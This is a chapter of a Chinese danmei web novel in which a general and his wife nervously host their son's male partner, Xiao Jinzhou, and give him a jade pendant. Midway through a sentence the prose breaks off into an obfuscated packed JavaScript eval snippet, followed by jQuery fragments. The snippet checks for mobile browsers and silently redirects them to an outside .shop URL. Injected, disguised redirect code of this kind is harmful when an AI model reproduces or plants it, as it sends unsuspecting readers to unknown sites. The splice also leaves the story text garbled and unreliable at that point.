“快快,把家里家外都收整一番,还有那库房里的花瓶瓷器选几个雅致的拿出来摆上,门口院子里再摆几盆花草,不必多免得艳俗,啊,对了老李你去吩咐灶房把食材先清洗好放着,一会儿我亲自下厨……”魏夫人揣着手从厅内走到厅外,一会儿吩咐小厮婢女,一会儿拿起纸笔勾画,时不时还要抬起头蹙眉想想哪里还有纰漏。
一旁的魏兖喝了口茶,拉住还要起身忙碌的魏夫人道:“哎呀,夫人,不就是吃顿晚膳,何必如此大费周章,这萧瑾舟又不是没来过咱们府上,你这般大张旗鼓的,到时候适得其反,反倒让人家不自在了。”
魏夫人被堵的说不出话,犹豫了几瞬,慢慢坐了下来,叹了口气理了理衣袖,“哎,我这不是有些紧张嘛,之前是当做世侄看待,如今……哎,儿媳妇见过……这儿婿还是第一次……也没人指点指点,我怕怠慢了……”
倏地,魏夫人轻拍了拍桌面,“诶,当初珩儿成亲前,我给令仪送了对雕花金镯子作见面礼,我记得我那还有一对金步摇,我去寻出来,晚些送……”
魏兖弯身拉住急匆匆要去寻步摇的魏夫人,苦心劝道:“哎!夫人啊,他一个男子你送金步摇,人家还以为你膈应他呢。”
“对,对,你说得对,我怎么没想到呢……”魏夫人似才想到这一点,抬起捏着帕子的手揉着额角。
魏兖替其倒了杯茶,轻笑一声,“依我看啊,你就做些拿手菜,平日里怎样待人就怎样待人,往后见面的日子多了,省的拘谨,这萧瑾舟毕竟是个男子,送金步摇不合适,那库房里我记得有块上好的白玉双鹤玉佩,不如把那玉佩拿出来作见面礼吧,夫人你觉得如何?”
魏夫人闻言细想,眉心渐渐松开,不住点头,“夫君你说的确是在理,那我一会儿便去库房寻出来。”
“都怪我太过紧张,这思绪转不过来了,哎,若真送了金步摇那可就坏事了,哈哈哈。”魏夫人了了一桩心事,安心拿起茶盏品茗。
魏兖无奈看了魏夫人一眼,带着微嗔的宠溺一笑,“夫人你是关心则乱,那萧瑾舟是个文雅清朗的人,彬彬有礼,还是好相与的。”
魏夫人淡笑,“这我自是知道……他是个可怜孩子,父母兄嫂惨死,独身流放风雪苦地,如今还被咱们泽儿给缠上了,哎,让人心疼,我便想对他好些……”
魏兖伸手覆上魏夫人的手,轻拍了两下,“往后日子长着呢。”
魏夫人回望,含笑点头,“嗯,是啊,往后日子还长着呢。”
***
“轻些搬,小心别弄湿了,魏清,这还没搬完吗?马车都快装满了,再装一会儿咱得坐在车顶上了。”魏君泽看着渐满的车厢,瞠目结舌。
魏清在小本本上勾画掉一行,尴尬的笑了笑,“差不多了,侯爷说了,主子家里人多,不可怠慢。”
魏君泽探头进车厢拿了几个小匣子出来,边拿边道:“不用这么多,这,这,还有这,拿回去。”
魏清连忙抱住匣子,“不行,这个是给夫人的,这个是给郡主的,还有这个是给大公子的,侯爷说了,一样也不能少,这些都是他精心挑选过的。”说完又一股脑全塞回了车厢。
魏君泽看了眼还在进进出出搬东西的小厮,扶了扶额,“再寻辆马车吧。”
魏清点点头,这个行,“是,属下马上安排。”
宫门口,萧瑾舟撑着雨伞,慢步走出,小心的避着积水,鞋袜倒是没湿,就是衣摆还是难以避免的沾着些脏污,萧瑾舟垂眸看了眼,不禁蹙眉。
“生春!”魏君泽探出车厢,隔着雨幕笑唤着萧瑾舟。
萧瑾舟燥意一扫,浅笑快走了几步,抓住魏君泽伸来的手,上了马车,“怎么换了辆马车,可是等了会儿了?”
“来的路上快,刚到呢。”魏君泽打趣,“反倒是装你备的礼物可费了不少时间,生春,果真是厚礼啊,满满一车,人都坐不下了,这不只好再加一辆马车了。”
萧瑾舟一顿,“哪里多了,我都是算着人数来的,礼呢?”
魏君泽抱臂靠着,“停在后面那条街呢。”伸手从一旁拿了套干净衣袍,“换吧,给你带了身干净衣裳。”
萧瑾舟笑着接过,“我本还想着先回趟府,这下倒是省事了。”
魏君泽扳过萧瑾舟肩膀,手指一勾拉开系带,“还有更省事的,我帮你换。”
萧瑾舟抓住魏君泽的手,略显紧张瞥了车帘处一眼,压声道:“在马车上呢,你可别乱来!”
魏君泽挑挑眉,继续动作,淅沥的雨声,车夫的咳嗽声,晃荡的马车,还有车帘处冒进来的丝丝潮气让萧瑾舟比平日里更加紧绷。
拉着衣襟将外衫脱去,魏君泽的手指划过萧瑾舟脖侧的一抹红,指腹来回揉了两下,“昨日留下的,这会儿颜色变深了。”
萧瑾舟抬手捂住,连带着魏君泽的手指也一并按在了下头,“别弄了,本就容易被瞧见,你再给揉深了,一会儿让你家人也瞧见,像个什么样。”
魏君泽眼底含笑,抽出手,拿过一旁的干净衣裳替萧瑾舟穿上,腰封围上腰间,手掌顺着后背划着腰侧往前,“穿上外衣就看不见了,你放心,我知道分寸的,必不让人看轻了你。”
最后将玉笛别在腰间,魏君泽抬眼看萧瑾舟似有些发呆,便坐近了些,搂上肩侧,“就如平时一般就好,不要拘谨,也不要担心,跟着我便好。”
萧瑾舟抬手握住腰间玉笛,头微侧靠在魏君泽肩上,“嗯,知道,你都说了几遍了,哼哈,要我说等你老了,便去书院私塾寻份工,专逮那逃学的孩子,抓住就念叨个百来次,包他们以后不敢了。”
魏君泽笑喷了,“怎么不说让我做个夫子呢?”
萧瑾舟勾唇,哼笑,“你做夫子,那魏廉必是第一个不同意的。”
两人说说笑笑一路到了魏府。
魏君泽打开伞,撑扶着萧瑾舟下车,对着门口等候的李叔一笑,“李叔,我回来了。”
李叔眼一亮,快步子走上前招呼,“三公子回来了,哈哈哈,萧侯爷好,将军和夫人都在前厅候着呢,快请进吧!”
萧瑾舟点头回礼,与魏君泽一起往前厅走去。
前厅的魏夫人早就听着小厮通报,急切又紧张的探头张望,见着人影,便笑意盈盈起身,“来了!”
萧瑾舟含笑拱手见礼,“魏大将军好,魏夫人好。”
魏夫人拉着萧瑾舟的手腕坐下,“快上些茶果来,孩子你来了,路上可淋着雨?”
萧瑾舟道:“没有,只在下值时淋了些雨,不过时序帮我带了身干净衣裳,我在路上换过了。”
魏夫人拍拍他的手,“那便好,现下离晚膳还有些时候,先坐着喝喝茶,吃些果子。”
萧瑾舟笑应了声好。
坐了会儿,魏夫人从一旁拿过一个雅致秀气的檀木盒递到萧瑾舟手边,犹豫思忖了几下后,张口道:“孩子,之前不让泽儿与你见面,并非是对你有所不满,只是怕你们年轻,若是因为一时冲动而被世间伦常指责,被流言蜚语谩骂,到头来伤了感情和真心反倒是错付了这段情,你……莫要见气。”
萧瑾舟握着茶盏的手紧了紧,思索答复间,放在腿上的另一只手被魏君泽牢牢握住,萧瑾舟看了魏君泽一眼,转头坦然,“怎会见气,身为人子,瑾舟自是理解夫人你的慈母之心,若是我母亲还在世,她必是也会像夫人一般对我与时序之间的事有所顾虑。”
魏夫人点点头,眼底起了丝怜爱,“好孩子”抬起帕子轻拭了下鼻尖,“不过后来我也想通了,人活几十载,是活给自己的,又不是活给他人的,问心无愧便好,莫要空留遗憾,哎,不说这个了,这檀木盒里是我与泽儿他爹选来送你的见面礼,你快打开看看,瞧瞧可喜欢?
萧瑾舟不好推脱,便抬手把檀木盒打开,将里头的物件放在手中端详,“是玉佩,双鹤圆佩很是别致。”
魏君泽凑上前看了眼,笑叹,“这不是库房里的老物件嘛,这可是个好东西,小时候瞧见了,娘都不让我碰,没想到到你手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710854|202080||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
里来了。”
魏夫人轻嗔了魏君泽一眼,“不让你碰自是有缘由的,什么好东西到你手里,没一会儿功夫就得碎了,你从小便是个败家的。”
她转眼对萧瑾舟轻语道:“孩子你莫要听泽儿胡说,贵不贵重的,在于心意,不过这确实是个老物件,是我当年的陪嫁,不过保管的甚好,你莫要嫌弃。”
萧瑾舟闻言急忙将玉佩放回盒中,轻轻推回,“瑾舟自是不嫌弃,只是这玉佩是夫人的陪嫁,寓意颇深,瑾舟不好收下。”
魏夫人心中宽慰,拉过萧瑾舟的手放在檀木盒上,“身外物罢了,珩儿成亲前,我给了瑶兰郡主一对金镯子作见面礼,自是也不能落下你的,不然泽儿怕是要找我闹的。”
见萧瑾舟微微有些面红,魏夫人轻笑劝慰,“你别有负担,不管你与泽儿往后如何,这玉佩给你便是你的,宽心收下吧。”
魏兖顺势插话,“收下吧,长者赐,不可辞。”
萧瑾舟抿下唇,笑得温润,将檀木盒收下,“那瑾舟便不推辞了,多谢大将军,多谢夫人。”
“放下,我来吧。”魏君泽接过小厮婢女送来的茶盘,替几人斟茶,坐下后顺手拿过檀木盒,将里头的玉佩取出,不顾爹娘在场,比在萧瑾舟腰间,“不错,好看!”
魏兖没眼看,垂下眼自顾喝茶,魏夫人倒是看得眼笑。
“你做什么呢?”萧瑾舟窘迫的不敢看魏夫人,当着人家爹娘的面也不能骂魏君泽,羞得耳根通红,直盯着魏君泽的发顶,目光灼灼,带着气恼。
魏君泽低头暗笑,手中动作不变,将玉佩系在了萧瑾舟腰间,不住感叹,“娘眼光真好,这玉佩太适合生春了!”
魏夫人左右看了看,笑说:“确实好看。”
魏君泽故意怼了怼萧瑾舟的肩膀,“生春,你觉得呢?”
萧瑾舟抬眼对上那双盈着坏的黑眸,桌下的手顺着魏君泽的大腿内侧渐渐往上,眼含得意,看了眼神色微变的魏君泽,回头对魏夫人轻笑,“夫人选的极好,瑾舟十分喜、欢。”
“喜欢”二字还未说完,一旁的魏君泽闷哼一声,不慎把茶盏也打翻了。
魏兖蹙眉,“做什么呢,一点儿也不稳重。”
魏夫人关心,“泽儿你怎么了?”
魏君泽暗下抓住萧瑾舟的手,扯笑:“无事,是这茶太烫了,我没留神给烫着了。”
“娘,离晚膳还早,我想先带生春回卧竹苑坐会儿。”
魏夫人点头,“去吧,待晚膳好了,我便着人去叫你们。”
“好,娘,那我们先去了。”魏君泽拉着萧瑾舟起身。
萧瑾舟暗下瞪了魏君泽一眼,回身对着两人拱手做礼,“魏大将军,魏夫人,瑾舟先退下了。”
魏夫人挥挥手,“去吧,去吧。”
待两人走远,魏夫人拍了拍魏兖,面上有些赧然,讪讪问:“这么好个孩子也不知是看上咱们泽儿什么了。”
魏兖道:“我怎么知道,看上他臭不要脸?”
魏夫人气急,“有你这么说孩子的吗!”
魏兖拍拍嘴,“夫人我说笑的,我错了,我错了。”
此时,李叔从外头进来,道:“大将军,夫人,方才萧侯爷带来的礼是一同放入库房内吗?”
魏夫人回神笑嗔,“这孩子来就来了,还带什么礼啊,老李你记录好,看着放吧,晚些再从库房里另外挑些好东西,让人带回去。”
李叔应是,“诶,那我把马车拉进来。”
魏夫人拿茶盏的手一顿,“马车?”
李叔愣愣点头,双手朝两侧一张,“一马车呢,我瞧着有人参,灵芝,鹿茸,好些补品呢,还有布匹钗环全都是好东西。”
魏夫人眼眶睁大转回头看着魏兖,“要不晚些我还是把金步摇也送了吧……”
魏兖抿着唇,蹙眉,“改日吧,夫人你去把步摇融了重新打个什么坠子挂饰,适合男儿的送去吧。”
魏夫人点点头,“对,对……”